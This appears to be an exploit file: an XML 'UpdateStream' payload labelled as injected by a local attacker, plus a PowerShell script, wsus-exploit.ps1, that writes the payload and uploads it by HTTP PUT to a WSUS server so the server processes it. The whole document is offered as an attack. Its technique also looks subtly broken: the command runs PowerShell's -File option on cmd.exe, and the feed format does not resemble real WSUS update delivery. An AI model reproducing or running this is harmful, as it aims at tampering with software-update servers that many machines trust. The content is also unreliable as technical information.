<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
  <Metadata>
    <Title>WSUS Exploit</Title>
    <Description>Injected by local attacker.</Description>
  </Metadata>
  <SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
  <Command><![CDATA[
      powershell -NoProfile -ExecutionPolicy Bypass `
          -File C:\Windows\System32\cmd.exe
  ]]></Command>
</UpdateStream>

# --------------------------------------------------
#  File:   wsus‑exploit.ps1
#  Purpose: Generate malicious UpdateStream.xml,
#           upload it to the WSUS server,
#           trigger the feed.
# --------------------------------------------------

param (
    [string]$TargetUrl = 'http://wsus.example.com/UpdateStream.xml',
    [int]    $Port      = 80,
    [string] $XmlFile   = '.\payload.xml'
)

function Build-Xml {
    param ([string]$file)
    $xmlContent = @"
<?xml version="1.0" encoding="utf-8"?>
<UpdateStream>
  <Metadata>
    <Title>WSUS exploit</Title>
    <Description>Injected by local attacker.</Description>
  </Metadata>
  <SourcePath>C:\Windows\System32\cmd.exe</SourcePath>
  <Command><![CDATA[
      powershell -NoProfile -ExecutionPolicy Bypass `
          -File C:\Windows\System32\cmd.exe
  ]]></Command>
</UpdateStream>
"@
    Set-Content -Path $file -Value $xmlContent
}

# Build the XML payload
Build-Xml -file $XmlFile

# Upload via HTTP PUT
Invoke-WebRequest -Uri $TargetUrl `
                  -Method Put `
                  -InFile $XmlFile `
                  -OutFile 'upload.log'

Write-Host "Upload complete – WSUS should now process the stream."